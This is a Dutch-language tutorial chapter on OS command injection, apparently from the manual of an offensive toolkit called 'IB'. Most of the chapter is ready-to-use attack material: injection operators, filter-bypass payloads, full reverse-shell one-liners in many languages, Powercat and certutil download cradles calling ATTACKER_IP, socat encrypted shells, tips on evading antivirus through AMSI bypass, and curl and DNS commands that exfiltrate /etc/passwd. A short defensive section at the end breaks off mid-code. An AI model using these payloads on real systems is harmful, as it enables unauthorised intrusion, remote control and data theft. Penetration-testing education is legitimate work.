Command Injection

De fundamenten van het gebouw

Elk gebouw heeft fundamenten. Dikke betonnen muren, diep de grond in, die het gewicht dragen van alles wat erboven staat. Normaal gesproken denk je daar niet over na. Je loopt door de lobby, je neemt de lift, je bewondert het uitzicht vanaf de twaalfde verdieping. Die fundamenten zijn er gewoon. Onzichtbaar. Vanzelfsprekend.

Een webapplicatie werkt precies zo. Bovenaan heb je de glanzende interface: de knoppen, de formulieren, het mooie CSS-ontwerp waarover een designer drie weken heeft vergaderd. Daaronder zit de applicatielogica – de backend code die Python of Java of PHP draait. En helemaal onderaan, verscholen in het donker als de riolering van een middeleeuwse stad, ligt het besturingssysteem. Linux, Windows, wat het ook is. Het ding dat bestanden opent, processen start, netwerk- verbindingen beheert. De fundamenten.

Command injection is wat er gebeurt als iemand een gat boort door al die verdiepingen heen, recht naar beneden, tot in die fundamenten. Je typt iets in een webformulier – een veld bedoeld voor een IP-adres, een bestandsnaam, een zoekopdracht – en plotseling sta je niet meer in de lobby. Je staat in de kelder. Met een zaklamp. En alle deuren staan open.

Stel je een ouderwetse telefooncentrale voor, het soort met een menselijke operator die kabeltjes in gaatjes stak. Je belt op en zegt: “Verbind me door met meneer Jansen.” De operator pakt het juiste kabeltje en steekt het in het juiste gaatje. Netjes. Maar wat als je zegt: “Verbind me door met meneer Jansen, en geef me daarna ook even de hele telefoonlijst, en oh ja, verbind me ook nog even door met de directeur”? Een goede operator zou zeggen: “Dat mag niet.” Een slechte operator – en dit is de kern van command injection – doet gewoon alles wat je vraagt.

De webapplicatie is die slechte operator.

Wat is command injection precies?

Laten we even precies zijn, want in de beveiliging worden termen graag door elkaar gegooid alsof het allemaal hetzelfde is. Dat is het niet.

Code injection is wanneer een aanvaller code laat uitvoeren binnen de programmeertaal van de applicatie zelf. SQL injection is een vorm van code injection – je injecteert SQL-code in een SQL-query. Server-Side Template Injection injecteert template-code. De aanvaller opereert binnen het domein van de applicatie.

OS command injection is fundamenteel anders. Hier breek je uit de applicatie en praat je rechtstreeks met het besturingssysteem. Je injecteert geen Python in een Python-applicatie – je injecteert bash-commando’s, of cmd.exe- commando’s, die het besturingssysteem zelf uitvoert. Het verschil is als het verschil tussen iemand die een vals biljet gebruikt in een winkel (code injection) versus iemand die de kluis van de bank zelf openbreekt (command injection).

De basis is altijd hetzelfde. Ergens in de applicatie staat een regel code die er ongeveer zo uitziet:

import os
os.system("ping -c 4 " + user_input)

Of in PHP:

$output = shell_exec("nslookup " . $_GET['host']);

Of in Java:

Runtime.getRuntime().exec("nslookup " + request.getParameter("host"));

De developer wilde iets nuttigs doen. Een ping uitvoeren. Een DNS-lookup. Een bestand converteren. Een PDF genereren. Allemaal volkomen legitieme dingen die je met het besturingssysteem wilt doen. Maar in plaats van dat netjes te doen, plakt de developer de gebruikersinvoer gewoon achter het commando. Rauw. Ongefilterd. Zoals je sla uit de tuin eet zonder te wassen – het gaat meestal goed, tot die ene keer dat het heel erg fout gaat.

En laten we eerlijk zijn: het gaat altijd fout. Niet “misschien”. Niet “in theorie”. Het gaat fout zoals water naar beneden stroomt – het is een natuurwet. Als je user input concateneert in een shell-commando, zal iemand dat misbruiken. De enige vraag is wanneer.

IB Tip: Command injection is de heilige graal van webapplicatie- aanvallen. SQL injection geeft je de database. Command injection geeft je het hele systeem. Als je het vindt, heb je in feite al gewonnen.

De operatoren: hoe je commando’s aan elkaar plakt

De kern van command injection zit in de manier waarop besturingssystemen omgaan met speciale tekens. Elke shell – bash, sh, cmd.exe, PowerShell – heeft tekens die betekenen: “stop met dit commando en begin met het volgende.” Die tekens zijn je gereedschap.

IB heeft ze netjes op een rij gezet in het command file web_cmdi_operators. Laten we ze een voor een doorlopen.

De puntkomma: ;

Het simpelste en meest directe wapen. Een puntkomma in bash betekent: “voer het volgende commando uit, ongeacht of het vorige slaagde of faalde.”

# Normaal gebruik
127.0.0.1;id

De applicatie voert ping -c 4 127.0.0.1 uit, en daarna voert het id uit. Twee commando’s, netjes na elkaar. De ping doet zijn ding, en dan krijg je de output van id – de gebruikersnaam en groep waaronder de webserver draait.

Op Windows werkt de puntkomma niet op dezelfde manier in cmd.exe. Daar gebruik je &:

127.0.0.1 & whoami

De pipe: |

De pipe stuurt de output van het eerste commando als input naar het tweede. Maar het cruciale punt: beide commando’s worden uitgevoerd.

127.0.0.1|id

De ping-output wordt doorgestuurd naar id, wat id vrolijk negeert en gewoon zijn eigen ding doet. Je krijgt de output van id te zien, en dat is precies wat je wilde.

Dubbele pipe (OR): ||

Dit voert het tweede commando uit alleen als het eerste commando faalt.

foobar||id

ping foobar faalt – want foobar is geen geldig adres. Dus de shell voert het volgende commando uit: id. Dit is elegant omdat je geen geldig eerste commando nodig hebt. Je gooit er gewoon onzin in en laat het falen.

Dubbele ampersand (AND): &&

Het tegenovergestelde: voer het tweede commando uit alleen als het eerste slaagt.

127.0.0.1&&id

De ping naar 127.0.0.1 slaagt altijd (het is localhost), dus id wordt ook uitgevoerd. Je moet hier een geldig eerste commando gebruiken, maar 127.0.0.1 werkt altijd.

Backticks: `

Backticks zijn inline command substitution. Het commando tussen backticks wordt eerst uitgevoerd, en de output wordt ingevoegd op die plek.

`id`

Als je dit invoert als IP-adres, wordt id uitgevoerd en de output ervan wordt het argument voor ping. De ping faalt natuurlijk – uid=33(www-data) is geen geldig IP-adres – maar het commando is wel degelijk uitgevoerd.

Dollar-haakjes: $()

Hetzelfde als backticks, maar de modernere syntax. Makkelijker te nesten en leesbaarder.

$(id)

Functioneel identiek aan backticks, maar met het voordeel dat je ze kunt nesten: $(echo $(whoami)). In de praktijk maakt het weinig uit welke je gebruikt, maar $() is betrouwbaarder in edge cases.

Newline: %0a

Dit is de stille moordenaar. Een newline (URL-encoded als %0a) fungeert in de meeste shells als een commandoscheider – net als een puntkomma.

127.0.0.1%0aid

Het mooie hiervan: veel filters zoeken naar puntkomma’s en pipes, maar vergeten de newline. Het is het equivalent van de achterdeur waar niemand aan denkt.

Het complete IB command file

Dit is wat IB je geeft in web_cmdi_operators:

# === Injection operatoren ===
# Semicolon (commando scheiden):
127.0.0.1;id
# Pipe (output doorsturen):
127.0.0.1|id
# AND (beide uitvoeren als eerste slaagt):
127.0.0.1&&id
# OR (tweede uitvoeren als eerste faalt):
foobar||id
# Backtick (inline substitutie):
`id`
# Dollar (inline substitutie):
$(id)
# Newline (URL-encoded):
127.0.0.1%0aid

# === URL-encoding voor speciale tekens ===
# & -> %26 (nodig in URL parameters)
# | -> %7c
# ; -> %3b
# Spatie -> + of %20

# === Blind detection ===
;curl http://10.0.0.1/cmdi_confirm
;ping -c 1 10.0.0.1
;sleep 5

# === Capability check (welke tools beschikbaar) ===
;which curl
;which wget
;which nc
;which python3

Let op de URL-encoding tabel. Dit is cruciaal. Als je je payload via een URL parameter verstuurt – en dat doe je bijna altijd – dan moet je speciale tekens URL-encoden. Een & in een URL betekent namelijk “volgend parameter”, niet “voer ook het volgende commando uit”. Dus & wordt %26, | wordt %7c, enzovoort.

IB Tip: Probeer altijd alle operatoren systematisch. Als ; niet werkt, probeer |. Als | niet werkt, probeer ||. Als niets werkt, probeer de URL-encoded varianten. Sommige WAFs en filters blokkeren het ene teken maar vergeten het andere.

Windows versus Linux

Tot nu toe hebben we voornamelijk Linux-voorbeelden gezien. Maar Windows is een heel ander beest. Hier een vergelijkingstabel:

Operator Linux (bash/sh) Windows (cmd.exe) Windows (PowerShell)
Scheiden ; & ;
Pipe \| \| \|
AND && && -and / && (PS7+)
OR \|\| \|\| -or / \|\| (PS7+)
Substitutie `cmd` / $(cmd) N/A $(cmd)
Newline %0a %0a (soms) %0a

Op Windows cmd.exe gebruik je & om commando’s te scheiden:

127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 && whoami
foobar || whoami

In PowerShell werkt het weer net anders:

127.0.0.1; whoami
127.0.0.1 | whoami

Het punt is: je moet weten welk besturingssysteem en welke shell je te pakken hebt. Een Linux-payload op Windows is als een Franse sleutel op een Duits slot – het past gewoon niet.

Filter bypass: als de voordeur op slot zit

Nu wordt het interessant. Want de meeste developers zijn niet compleet achterlijk. Ze hebben ergens gelezen dat command injection een ding is, en ze hebben een filter gebouwd. Het probleem is alleen: ze hebben een slecht filter gebouwd. En een slecht filter is soms erger dan geen filter, want het geeft een vals gevoel van veiligheid.

Je kent het type. De developer die denkt: “Ik filter gewoon alle puntkomma’s en pipes weg, dan ben ik veilig.” Dat is alsof je de voordeur van je huis op slot doet maar alle ramen open laat staan.

IB’s web_cmdi_bypass command file is een masterclass in creatief denken. Laten we de technieken doorlopen.

Spatie-bypass

Veel filters blokkeren spaties. Logisch – een commando zonder spaties is moeilijk bruikbaar, toch? Fout. Er zijn minstens vijf manieren om een spatie te vermijden in bash.

${IFS} – Internal Field Separator

In bash is $IFS een speciale variabele die standaard whitespace bevat (spatie, tab, newline). Je kunt het gebruiken als vervanging voor een spatie:

cat${IFS}/etc/passwd
cat$IFS/etc/passwd

Beide zijn functioneel identiek aan cat /etc/passwd. De shell vervangt ${IFS} door de inhoud van de IFS-variabele, wat standaard een spatie is. Het is alsof je tegen een kind zegt dat het geen koekjes mag pakken, en het kind pakt de koekjes met een tang. Technisch gezien heeft het de koekjes niet gepakt.

Input redirection: <

cat</etc/passwd

De < operator redirect een bestand als input. Geen spatie nodig.

Brace expansion: {cmd,arg}

{cat,/etc/passwd}

Bash brace expansion zet {cat,/etc/passwd} om naar cat /etc/passwd. Geen spatie in de oorspronkelijke input.

Hex-encoded spatie:

X=$'\x20';cat${X}/etc/passwd

Je maakt een variabele aan die een spatie bevat (hex \x20), en gebruikt die variabele in plaats van een echte spatie. Als dit niet creatief is, weet ik het ook niet meer.

Keyword-bypass: als ‘cat’ geblokkeerd is

Sommige filters blokkeren specifieke commando’s. “Je mag geen cat gebruiken.” Prima. Dan gebruiken we cat op een manier die de filter niet herkent, maar de shell wel.

Quotes invoegen:

c'a't /etc/passwd
c"a"t /etc/passwd

De shell stripted lege quotes eruit. c'a't wordt cat. Maar de filter ziet de string cat niet – die ziet c'a't. Het is het digitale equivalent van een valse snor.

Backslash:

c\at /etc/passwd

Een backslash voor een normaal karakter in bash doet niets. \a is gewoon a. Maar de filter ziet c\at, niet cat.

Wildcards:

/bin/c?t /etc/passwd

Het vraagteken is een wildcard die matcht met precies een karakter. /bin/c?t matcht met /bin/cat. Je kunt het zo ver doorvoeren als je wilt:

/b??/c?t /e??/p??s??

Dit matcht nog steeds met /bin/cat /etc/passwd. Het is absurd, maar het werkt.

Alternatieve commando’s

Als cat geblokkeerd is, waarom zou je dan uberhaupt cat gebruiken? Er zijn tientallen commando’s die bestanden kunnen lezen:

tac /etc/passwd     # cat achterstevoren
head /etc/passwd    # eerste regels
tail /etc/passwd    # laatste regels
nl /etc/passwd      # met regelnummers
sort /etc/passwd    # gesorteerd

tac is mijn persoonlijke favoriet. Het is letterlijk cat achterstevoren – zowel de naam als de output. Het is het soort commando waarvan je je afvraagt: “Wie heeft hier ooit om gevraagd?” Het antwoord: pentesters. Pentesters hebben hier om gevraagd.

Slash-bypass

Soms is zelfs de / geblokkeerd. Dan moet je creatief worden met string- manipulatie:

$(tr '!/' '/ ' <<< 'bin!bash')

Dit vertaalt ! naar / en / naar een spatie, waardoor bin!bash wordt omgezet naar /bin/bash. Het is het soort ding dat je met bewondering en lichte afschuw bekijkt.

String concatenatie

a]b]c=/etc/passwd;cat ${a]b]c}

Je bouwt het pad op in een variabele en gebruikt die variabele in je commando. De filter ziet nooit de string /etc/passwd in je input.

Base64 encoding

Dit is de nucleaire optie. Encodeer je hele payload in base64, en decodeer het op het doelsysteem:

# Op je eigen machine:
echo 'id' | base64
# Output: aWQ=

# Op het doelsysteem:
echo aWQ= | base64 -d | bash

Voor een reverse shell:

# Encodeer de payload:
echo 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1' | base64

# Decodeer en voer uit:
echo BASE64_HERE | base64 -d | bash

De filter ziet alleen maar een onschuldige base64-string. Geen speciale tekens, geen verdachte commando’s. Gewoon een reeks letters en cijfers en een paar plustekens.

Hex encoding

echo -e '\x69\x64' | bash

\x69 is i, \x64 is d. Samen: id. Hetzelfde principe als base64, maar dan met hex.

Wildcard-bypass voor paden

/bin/c?t /etc/p?sswd
/b??/c?t /e??/p??s??

Dit is de shotgun-benadering. Vervang elk karakter dat geblokkeerd zou kunnen zijn door een vraagteken, en hoop dat er maar een match is. In de meeste systemen is /bin/c?t uniek genoeg om alleen /bin/cat te matchen.

IB Tip: Gebruik Wfuzz met een blocklist bypass wordlist voor geautomatiseerd testen. Handmatig elke bypass proberen is tijdrovend. Laat de computer het werk doen.

Van command injection naar shell

Goed. Je hebt command injection gevonden. Je kunt id uitvoeren. Je kunt /etc/passwd lezen. Maar dat is pas het begin. Het echte doel is een interactieve shell – een permanente verbinding met het systeem waarmee je kunt rondneuzen, bestanden downloaden, privileges escaleren, en verder het netwerk in bewegen.

Het concept is simpel: je laat het doelsysteem een verbinding opzetten naar jouw machine (een “reverse shell”), zodat je een volledige command line krijgt. Maar de uitvoering kan complex zijn, afhankelijk van wat er beschikbaar is op het doelsysteem.

Daarom is de eerste stap altijd een capability check. Welke tools heeft het systeem?

;which curl
;which wget
;which nc
;which python3
;which perl
;which ruby
;which php
;which socat

Afhankelijk van het antwoord kies je je shell.

Bash reverse shell

De klassieker. Werkt op bijna elk Linux-systeem:

;bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'

Maar pas op: als je dit via een HTTP-parameter verstuurt, moet je de & URL-encoden als %26:

;bash -c 'bash -i >%26 /dev/tcp/10.0.0.1/443 0>%261'

Dit is wat IB’s web_cmdi_operators laat zien. Die %26 is cruciaal – zonder die encoding interpreteert de webserver de & als een parameter-scheider in de URL, niet als deel van je payload.

Je luistert op je eigen machine:

nc -nlvp 443

En zodra de payload wordt uitgevoerd, heb je een shell. Poort 443 is geen toeval – het is de HTTPS-poort, en uitgaand verkeer op poort 443 wordt zelden geblokkeerd door firewalls.

Python reverse shell

Als bash niet beschikbaar is maar Python wel:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

Dit is een one-liner die: 1. Een socket opent naar jouw IP op poort 443 2. stdin, stdout en stderr redirect naar die socket (os.dup2) 3. Een bash-shell spawnt met een pseudo-terminal (pty.spawn)

De langere versie uit IB’s web_cmdi_shells:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

Functioneel hetzelfde, maar explicieter. Let op: probeer zowel python als python3 – sommige systemen hebben alleen de een of de ander.

PHP reverse shell

php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Of met proc_open:

php -r '$sock=fsockopen("10.0.0.1",443);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

PHP heeft een verrassend groot arsenaal aan functies die shell-commando’s kunnen uitvoeren: system(), passthru(), shell_exec(), popen(), proc_open(), exec(). Zes manieren om hetzelfde te doen. Het is alsof een taal is ontworpen door iemand die dacht: “Wat als we dezelfde fout zes keer maakten, maar dan elk met een net iets andere syntax?”

Perl reverse shell

perl -e 'use Socket;$i="10.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl is oud, lelijk, en bijna overal geinstalleerd. Het is het Latijn van de programmeertalen – niemand gebruikt het vrijwillig, maar het weigert om dood te gaan.

Ruby reverse shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Node.js reverse shell

node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(443,"10.0.0.1",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})()'

Of simpeler als netcat beschikbaar is:

require('child_process').exec('nc -nv 10.0.0.1 443 -e /bin/bash')

IB Tip: Check altijd eerst welke interpreters beschikbaar zijn met which python3 perl ruby node. Geen zin om een Python-shell te proberen als Python niet geinstalleerd is.

Powercat: netcat voor PowerShell

Op Windows-systemen is de situatie anders. Bash bestaat niet (tenzij WSL geinstalleerd is), en de standaard tools zijn PowerShell en cmd.exe. Hier komt Powercat in beeld – een pure PowerShell-implementatie van netcat.

Het mooie van Powercat is dat het geen binary is. Het is een PowerShell-script. Dat betekent dat je het in-memory kunt laden zonder iets naar disk te schrijven, wat antivirus een stuk moeilijker maakt.

Powercat laden

In-memory laden vanaf je webserver:

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1')

Of lokaal:

. .\powercat.ps1

Reverse shell met Powercat

Op je eigen machine, start een listener:

nc -nlvp 443

Op het target:

powercat -c ATTACKER_IP -p 443 -e cmd.exe

Wil je PowerShell in plaats van cmd.exe? Gebruik de -ep flag:

powercat -c ATTACKER_IP -p 443 -ep

Bind shell

Soms is een reverse shell niet mogelijk – bijvoorbeeld als het target geen uitgaande verbindingen mag maken. Dan draai je het om. Het target opent een poort en jij verbindt ernaar toe:

Op het target:

powercat -l -p 4444 -e cmd.exe

Op je machine:

nc TARGET_IP 4444

Encoded payload

Voor een one-liner die je via command injection kunt uitvoeren:

# Genereer de encoded payload:
powercat -c ATTACKER_IP -p 443 -e cmd.exe -ge > encoded_shell.ps1

# Voer uit op het target:
powershell -E <BASE64_STRING>

De -ge flag genereert een base64-encoded versie die je met powershell -E kunt uitvoeren. Eenvoudig, elegant, en het omzeilt veel signature-based detectie.

Bestandsoverdracht

Powercat kan ook bestanden versturen:

# Ontvanger (jouw machine):
nc -nlvp 443 > received_file

# Verzender (target):
powercat -c ATTACKER_IP -p 443 -i C:\Users\victim\secret.txt

Relay en pivot

# Relay van poort 8080 naar intern target:
powercat -l -p 8080 -r tcp:INTERNAL_TARGET:80

# DNS relay:
powercat -l -p 53 -r dns:ATTACKER_IP:443

De complete one-liner

De ultieme Powercat one-liner die alles combineert – download en shell in een commando:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1'); powercat -c ATTACKER_IP -p 443 -e cmd.exe"

IB Tip: Combineer Powercat met een AMSI bypass voor antivirus-evasie. Zonder AMSI bypass wordt de Powercat-download waarschijnlijk geblokkeerd door Windows Defender. Zie het AMSI-hoofdstuk voor details.

Socat: de versleutelde variant

Socat is netcat op steroiden. Het grote verschil: socat ondersteunt SSL/TLS- versleuteling. Dat betekent dat je reverse shell eruitziet als normaal HTTPS- verkeer. Voor een IDS of firewall is het nauwelijks te onderscheiden van een gewone beveiligde verbinding.

SSL-certificaat genereren

Eerste stap: maak een self-signed certificaat:

openssl req -newkey rsa:2048 -nodes -keyout shell.key \
  -x509 -days 365 -out shell.crt -subj '/CN=localhost'
cat shell.key shell.crt > shell.pem

Versleutelde reverse shell

Op je machine (listener):

socat -d -d OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork STDOUT

Of met een volledige TTY (zodat je tab-completion en vi kunt gebruiken):

socat -d -d OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork \
  FILE:`tty`,raw,echo=0

Op het target (Linux):

socat OPENSSL:ATTACKER_IP:443,verify=0 \
  EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Die opties aan het einde (pty,stderr,setsid,sigint,sane) zorgen ervoor dat je een volwaardige interactieve shell krijgt met signal handling en een pseudo- terminal. Zonder die opties krijg je een kale shell waar Ctrl+C je verbinding verbreekt in plaats van het lopende commando te stoppen.

Versleutelde bind shell

# Target (listener):
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork \
  EXEC:/bin/bash,pty,stderr,setsid

# Aanvaller (connect):
socat - OPENSSL:TARGET_IP:4444,verify=0

Port forwarding

# Onversleuteld:
socat TCP-LISTEN:8080,fork TCP:INTERNAL_TARGET:80

# Versleuteld:
socat OPENSSL-LISTEN:8443,cert=shell.pem,verify=0,fork \
  TCP:INTERNAL_TARGET:80

Socat op Windows

Download socat naar het target:

certutil -urlcache -f http://ATTACKER_IP/socat.exe C:\Windows\tasks\socat.exe

Reverse shell:

socat.exe TCP:ATTACKER_IP:443 EXEC:cmd.exe,pipes

Bestandsoverdracht

# Ontvanger:
socat TCP-LISTEN:9999,fork file:received_file,create

# Verzender:
socat TCP:ATTACKER_IP:9999 file:local_file

IB Tip: Socat SSL-verkeer is bijna niet te onderscheiden van normaal HTTPS-verkeer. Dit maakt het ideaal voor omgevingen met strikte netwerk- monitoring. De verify=0 flag slaat certificaat-validatie over – nodig omdat we een self-signed certificaat gebruiken.

De IB Reverse Shell Generator

Tot nu toe hebben we individuele commando’s besproken. Maar laten we eerlijk zijn: handmatig IP-adressen en poortnummers invullen in tientallen reverse shell one-liners is het soort monotoon werk waar computers voor zijn uitgevonden. En dat is precies waarvoor IB de Reverse Shell Generator heeft.

De generator is bereikbaar via het dashboard onder Reverse Shells Generator. Het is een van de meest praktische tools in IB – je vult je IP-adres en poort in, en het genereert automatisch tientallen reverse shells in elke taal die je maar kunt bedenken.

De interface

De generator heeft vier hoofdsecties:

  1. Configuratie – Hier vul je drie dingen in:

    • IP of interface: je IP-adres (bijv. 10.10.14.5) of een netwerk- interface (bijv. tun0). IB resolvet interfaces automatisch.
    • Port: de poort waarop je luistert. Default is 443.
    • Bestandsnaam prefix: de prefix voor het output-bestand. Default is shell, wat resulteert in shell_443.txt.
  2. AMSI Bypass – Een ingebouwde AMSI bypass generator. Elke keer dat je op “Genereer” klikt, krijg je een andere obfuscated AMSI bypass. De “Base64” knop geeft je een encoded variant die je met PowerShell’s -enc flag kunt uitvoeren. Essentieel voor Windows-targets met Defender.

  3. Shells – Hier verschijnen alle gegenereerde reverse shells, netjes gesorteerd per categorie (Bash, Python, PHP, Perl, Ruby, etc.). Elke shell heeft een “Kopieer” knop. Er is ook een “Kopieer alles” knop per categorie.

  4. PowerShell Cradles – Automatisch gegenereerde download cradles voor elke .ps1 tool in je http/tools/ directory. Drie varianten per tool: IEX, Invoke-WebRequest, en een base64-encoded powershell -enc variant.

  5. Tool Downloads – Download-commando’s voor .exe bestanden, met varianten voor certutil, curl, PowerShell WebClient, Invoke-WebRequest, bitsadmin, en zelfs findstr via SMB.

  6. Gegenereerde Payloads – Een overzicht van alle payloads in http/payloads/, inclusief bestandsgrootte en downloadlinks.

Zoekfunctie

Bovenaan staat een zoekbalk waarmee je door alle gegenereerde shells, cradles en downloads kunt filteren. Typ “python” en je ziet alleen Python- shells. Typ “certutil” en je ziet alleen certutil-download-commando’s. Dit bespaart enorm veel tijd als je snel een specifiek type shell nodig hebt.

Workflow: van injection punt naar volledige shell

Laten we een complete workflow doorlopen. Je hebt een command injection gevonden in een webapplicatie. Hoe ga je van dat ene injection punt naar een volledige interactieve shell?

Stap 1: Start de IB Reverse Shell Generator

Open het IB dashboard en ga naar de Reverse Shell Generator. Vul je IP-adres en poort in (bijv. 10.10.14.5 en 443). Klik op “Genereer reverse shells”.

Stap 2: Bepaal het target OS en beschikbare tools

Gebruik je command injection om te achterhalen wat er beschikbaar is:

;uname -a          # Linux of Windows?
;which python3     # Python beschikbaar?
;which nc          # Netcat beschikbaar?
;which curl        # Curl beschikbaar?
;which wget        # Wget beschikbaar?

Stap 3: Kies de juiste shell

Op basis van de resultaten zoek je in de generator de juiste shell. Python beschikbaar? Zoek “python” in de zoekbalk en kopieer de Python reverse shell. Alleen bash? Kopieer de bash-variant.

Stap 4: Start je listener

nc -nlvp 443

Stap 5: Voer de payload uit

Inject de gekopieerde reverse shell via je command injection punt. Vergeet niet om speciale tekens te URL-encoden als je via een HTTP-parameter werkt.

Stap 6: Upgrade je shell

Zodra je een verbinding hebt, upgrade naar een volledige interactieve shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

IB Tip: De generator slaat de output ook op als bestand in http/payloads/. Zo heb je altijd een overzicht van alle shells die je hebt gegenereerd, en kun je ze later opnieuw gebruiken of via de IB webserver serveren aan targets.

Blind command injection

Tot nu toe zijn we ervan uitgegaan dat je de output van je commando’s kunt zien. De applicatie voert ping 127.0.0.1;id uit, en de output van id verschijnt ergens op de pagina. Maar dat is lang niet altijd het geval.

Soms voert de applicatie je commando wel uit, maar laat het de output niet zien. Misschien wordt de output weggegooid. Misschien wordt alleen “Success” of “Error” weergegeven. Dit is blind command injection, en het is net zo gevaarlijk als de niet-blinde variant – alleen lastiger te bevestigen.

Er zijn twee hoofdmethoden om blind command injection te detecteren en te exploiten.

Time-based detection

Het principe: als je het systeem kunt laten wachten, weet je dat je commando is uitgevoerd.

;sleep 5

Als het antwoord van de server precies vijf seconden langer duurt dan normaal, weet je dat sleep 5 is uitgevoerd. Je hebt command injection. Je kunt de output niet zien, maar je kunt het systeem controleren.

Op Windows:

& ping -n 10 127.0.0.1

De ping -n 10 duurt ongeveer tien seconden. Als het antwoord tien seconden vertraagd is, bingo.

Varieer de timing om zeker te weten dat het geen toevallige vertraging is. Probeer sleep 3, dan sleep 7, dan sleep 1. Als de vertraging elke keer exact overeenkomt met je sleep-waarde, is het bevestigd.

Out-of-band (OOB) detection

Soms is time-based niet betrouwbaar – misschien duurt het verwerken van het verzoek al lang, of is de netwerk-latency te variabel. Dan gebruik je out-of-band detectie: je laat het doelsysteem contact opnemen met een server die jij controleert.

HTTP callback:

;curl http://10.0.0.1/cmdi_confirm
;wget http://10.0.0.1/cmdi_confirm

Start een simpele HTTP-server op je machine:

python3 -m http.server 80

Als je een HTTP-request ziet binnenkomen voor /cmdi_confirm, weet je dat het commando is uitgevoerd.

DNS callback:

;nslookup unique-id.attacker.com
;dig unique-id.attacker.com
;host unique-id.attacker.com

DNS is bijzonder effectief omdat DNS-verkeer bijna nooit geblokkeerd wordt. Zelfs de strengste firewalls laten DNS door. Gebruik een unieke subdomain per test zodat je precies weet welke payload succesvol was.

Ping:

;ping -c 1 10.0.0.1

Start tcpdump op je machine:

tcpdump -i tun0 icmp

Als je een ICMP-pakket ziet binnenkomen, is het commando uitgevoerd.

Data exfiltratie via OOB

Nu het leuke deel: je kunt OOB niet alleen gebruiken om command injection te bevestigen, maar ook om data te exfiltreren.

;curl http://10.0.0.1/$(whoami)
;curl http://10.0.0.1/$(cat /etc/hostname)
;nslookup $(whoami).attacker.com

De output van het commando wordt onderdeel van de URL of de DNS-query. Op je server zie je een request binnenkomen voor /www-data of een DNS-lookup voor webserver.attacker.com. Het is niet snel – je kunt maar beperkte data per request versturen – maar het werkt, zelfs als je de output nergens kunt zien.

Voor grotere bestanden kun je base64 gebruiken:

;curl http://10.0.0.1/$(cat /etc/passwd | base64 | tr -d '\n')

Of in stukjes:

;curl http://10.0.0.1/$(cat /etc/passwd | base64 | head -c 100)
;curl http://10.0.0.1/$(cat /etc/passwd | base64 | tail -c +101 | head -c 100)

IB Tip: Burp Collaborator of een eigen DNS-logger zijn onmisbaar voor blind command injection. De IB web_cmdi_operators file heeft standaard blind detection payloads voor curl, ping, en sleep – probeer ze allemaal.

Verdediging: hoe je dit voorkomt

Nu even serieus. Want al die aanvalstechnieken zijn leuk en aardig, maar als je een developer bent (of een developer aanstuurt), moet je dit probleem ook oplossen.

Regel 1: Gebruik geen system calls

Dit is de enige regel die je echt nodig hebt. Als je nooit os.system(), subprocess.call() met shell=True, exec(), system(), of welke functie dan ook aanroept die een shell-commando uitvoert met user input, dan heb je geen command injection. Punt. Klaar. Einde verhaal.

“Maar ik moet een ping uitvoeren!” Nee, dat moet je niet. Gebruik een library. In Python: import ping3. In PHP: gebruik fsockopen() voor netwerk- connectiviteit. In Java: gebruik InetAddress.isReachable(). Er is altijd een library die doet wat je wilt zonder dat je een shell hoeft aan te roepen.

“Maar ik moet een PDF genereren!” Gebruik een library. reportlab in Python, wkhtmltopdf via een wrapper library, iText in Java. Geen reden om os.system("wkhtmltopdf " + filename) aan te roepen.

“Maar ik moet ImageMagick aanroepen!” Gebruik de Python-binding Wand, of de PHP Imagick extensie, of de Java im4java library. Allemaal roepen ImageMagick aan zonder dat je een shell nodig hebt.

Regel 2: Als je toch een system call moet doen

Soms is er echt geen alternatief. Je moet nmap aanroepen, of pandoc, of een obscure legacy tool waar geen library voor bestaat. In dat geval:

Gebruik parameterized execution:

# FOUT:
os.system("ping -c 4 " + user_input)

# FOUT (shell=True):
subprocess.call("ping -c 4 " + user_input, shell=True)

# GOED:
subprocess.call(["ping", "-c", "4", user_input])

De cruciale parameter is shell=False (de default in Python’s subprocess). Als je de argumenten als een lijst meegeeft in plaats van als een string, dan worden ze niet door een shell geinterpreteerd. De speciale tekens ;, |, &&, etc. worden behandeld als letterlijke karakters, niet als operatoren.

In PHP:

// FOUT:
system("ping -c 4 " . $_GET['ip']);

// GOED:
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);

// BETER:
$output = [];
exec("ping -c 4 " . escapeshellarg($_GET['ip']), $output);

escapeshellarg() wikkelt de input in enkele quotes en escaped alle bestaande quotes. Niet waterdicht, maar veel beter dan niets.

Regel 3: Whitelist input

Valideer je input tegen een whitelist. Als je een IP-adres verwacht, controleer dan of de input er ook daadwerkelijk uitziet als een IP-adres:

import re

def is_valid_ip(ip):
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    parts = ip.split('.')
